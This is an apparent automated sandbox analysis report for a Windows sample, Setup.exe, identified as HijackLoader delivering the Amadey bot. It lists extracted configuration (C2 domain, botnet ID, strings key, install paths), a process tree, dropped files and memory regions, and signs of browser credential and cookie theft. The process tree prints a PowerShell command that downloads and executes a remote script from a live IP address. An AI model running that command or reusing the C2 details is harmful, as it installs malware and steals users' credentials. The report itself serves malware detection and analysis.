Analysis

  • max time kernel
    298s
  • max time network
    303s
  • platform
    windows11-21h2_x64
  • resource
    win11-20251015-en
  • resource tags

    arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25/10/2025, 14:57

General

  • Target
    Setup.exe
  • Size 34KB
  • Sample251025-sb3bkaev9d
  • SHA256 5d11218f67cfe78347280b0e1a06ade63c890ac78f970f57b0200ff5be8aa77c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Extracted

Family
  • hijackloader

Attributes
  • directory

    %ALLUSERSPROFILE%\frameworknotepad

  • inject_dll

    %windir%\SysWOW64\rasapi32.dll

xor.hex

Extracted

Family
  • amadey

Version
  • 5.64

Botnet
  • 74a65b

C2
  • http://mi.overlapsnowbound.com

Attributes
  • install_dir

    2d44bacc67

  • install_file

    Ahdvfzkeyo.exe

  • strings_key

    c03135dc90dd4923dc1d82a56dc86dab

  • url_paths

    /kaWt2QXfpPueNM/index.php

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Amadey family
  • Detects Amadey x86-bit Payload 1 IoCs
  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 11 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:1028
    • C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      2⤵
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5628
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4820
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4908
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4932
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4132
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            3⤵
              PID:5244
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
              3⤵
                PID:780
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                3⤵
                  PID:5224
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                  3⤵
                    PID:3852
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                    3⤵
                    • Badlisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3392
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • Badlisted process makes network request
                    • System Location Discovery: System Language Discovery
                    PID:5228
                  • C:\Windows\SysWOW64\rundll32.exe
                    "C:\Windows\SysWOW64\rundll32.exe"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:4212
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 532
                      4⤵
                      • Program crash
                      PID:5964
                  • C:\Users\Admin\gx.exe\Statio.exe
                    C:\Users\Admin\gx.exe\Statio.exe
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:6132
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:4776
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:4944
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4212 -ip 4212
                    1⤵
                      PID:5320

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          15CBA95.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\15CBA95.tmp
                          • Size 1.0MB
                          • SHA256 094c06ec72771320b3f314a4b4bef7e09d48aa31d60ab21f33b039f3a05d8625
                          • MD5 SHA1 SHA512 SSDEEP

                          5D9E9A6.tmp

                          • Path C:\Users\Admin\AppData\Local\Temp\5D9E9A6.tmp
                          • Size 40B
                          • SHA256 c73f3bcb6e50bbe36d8842a27702a24617eaefa7311ba4225b74b80787bd61e0
                          • MD5 SHA1 SHA512

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 72d049174f8bb874a5db67735ce76cab400f25a72391ec557ef2720785b4c4ac
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 5b277edf550545d134d0471d153b13004ae47e02b0402787dd370d692ee7c4e0
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 ce41f2a3255df2099ae8eea9364bd28c6fd6a56c8ca3290bd274944d16d9e6bf
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 130KB
                          • SHA256 923f062c347d27181becb161461c74f16da65103ad7c1a1f9b021d7945137c56
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 257947aba31142bab41ca56915c2ef843c2a156c527dee5d1a07e1224e380aed
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_g4lvjhge.aoo.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g4lvjhge.aoo.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          Flundfreb.ftex

                          • Path C:\Users\Admin\gx.exe\Flundfreb.ftex
                          • Size 3.3MB
                          • SHA256 f5bd5d76902cc66e613ef67a86e0fef496b88b1f4db6bdc407d7c5001d1a1312
                          • MD5 SHA1 SHA512 SSDEEP

                          Mait.hsx

                          • Path C:\Users\Admin\gx.exe\Mait.hsx
                          • Size 30KB
                          • SHA256 2aba93e44ec058952351c337d44667d2ee57bd56718c635461dce962d325c625
                          • MD5 SHA1 SHA512 SSDEEP

                          OSPPC.DLL

                          • Path C:\Users\Admin\gx.exe\OSPPC.DLL
                          • Size 145KB
                          • SHA256 34538a1ca44bdd0022bca5dd191787c368fcc4cc775e580c0a6ad0ff5a598354
                          • MD5 SHA1 SHA512 SSDEEP

                          Statio.exe

                          • Path C:\Users\Admin\gx.exe\Statio.exe
                          • Size 49KB
                          • SHA256 abd5308ec6b01b8ada0f2b83a2e1585502cac9e00170edb22332a7c1d96d58d3
                          • MD5 SHA1 SHA512 SSDEEP

                          VCRUNTIME140.dll

                          • Path C:\Users\Admin\gx.exe\VCRUNTIME140.dll
                          • Size 95KB
                          • SHA256 475ab98b7722e965bd38c8fa6ed23502309582ccf294ff1061cb290c7988f0d1
                          • MD5 SHA1 SHA512 SSDEEP

                          jli.dll

                          • Path C:\Users\Admin\gx.exe\jli.dll
                          • Size 83KB
                          • SHA256 00531c7c28c5a550be05659cfe7943a044798a942273ae4469148e826cdfddd6
                          • MD5 SHA1 SHA512 SSDEEP

                          memory/780-35-0x00000147EDBA0000-0x00000147EDBA2000-memory.dmp

                          memory/1028-0-0x00007FFCECA30000-0x00007FFCECB3A000-memory.dmp

                          memory/1028-14-0x00007FFCECA30000-0x00007FFCECB3A000-memory.dmp

                          memory/1028-13-0x00007FFCECA30000-0x00007FFCECB3A000-memory.dmp

                          memory/1028-12-0x00007FFCECA4D000-0x00007FFCECA4E000-memory.dmp

                          memory/3392-92-0x000000000CB20000-0x000000000CBB6000-memory.dmp

                          memory/3392-46-0x00000000050A0000-0x00000000056CA000-memory.dmp

                          memory/3392-91-0x0000000074170000-0x0000000074921000-memory.dmp

                          memory/3392-62-0x0000000005BC0000-0x0000000005BDE000-memory.dmp

                          memory/3392-93-0x000000000BA90000-0x000000000BAB2000-memory.dmp

                          memory/3392-63-0x0000000006100000-0x000000000614C000-memory.dmp

                          memory/3392-45-0x00000000023E0000-0x0000000002416000-memory.dmp

                          memory/3392-61-0x00000000056D0000-0x0000000005A27000-memory.dmp

                          memory/3392-65-0x0000000006070000-0x000000000608A000-memory.dmp

                          memory/3392-64-0x00000000072F0000-0x000000000796A000-memory.dmp

                          memory/3392-52-0x0000000004D20000-0x0000000004D42000-memory.dmp

                          memory/3392-53-0x0000000004EC0000-0x0000000004F26000-memory.dmp

                          memory/3392-54-0x0000000005030000-0x0000000005096000-memory.dmp

                          memory/3392-94-0x000000000D170000-0x000000000D716000-memory.dmp

                          memory/3852-41-0x0000026FA91E0000-0x0000026FA91E2000-memory.dmp

                          memory/4132-29-0x000002C6085B0000-0x000002C6085B2000-memory.dmp

                          memory/4212-73-0x0000000003220000-0x0000000003830000-memory.dmp

                          memory/4212-66-0x0000000000D10000-0x0000000000D13000-memory.dmp

                          memory/4212-67-0x0000000003220000-0x0000000003830000-memory.dmp

                          memory/4212-72-0x0000000003220000-0x0000000003830000-memory.dmp

                          memory/4212-71-0x0000000003220000-0x0000000003830000-memory.dmp

                          memory/4820-24-0x0000025373230000-0x0000025373232000-memory.dmp

                          memory/4908-25-0x0000012ADA600000-0x0000012ADA602000-memory.dmp

                          memory/4932-26-0x0000023449130000-0x0000023449132000-memory.dmp

                          memory/5224-38-0x000002061F630000-0x000002061F632000-memory.dmp

                          memory/5228-47-0x0000000000E20000-0x0000000000E23000-memory.dmp

                          memory/5228-48-0x0000000002760000-0x00000000027B2000-memory.dmp

                          memory/5228-101-0x0000000000400000-0x000000000046F000-memory.dmp

                          memory/5244-32-0x0000017BDC7C0000-0x0000017BDC7C2000-memory.dmp

                          memory/5628-44-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-90-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-22-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-21-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-20-0x00007FFCFBE40000-0x00007FFCFC049000-memory.dmp

                          memory/5628-17-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-16-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/5628-88-0x0000000000440000-0x000000000047C000-memory.dmp

                          memory/6132-97-0x00007FFCE1670000-0x00007FFCE177A000-memory.dmp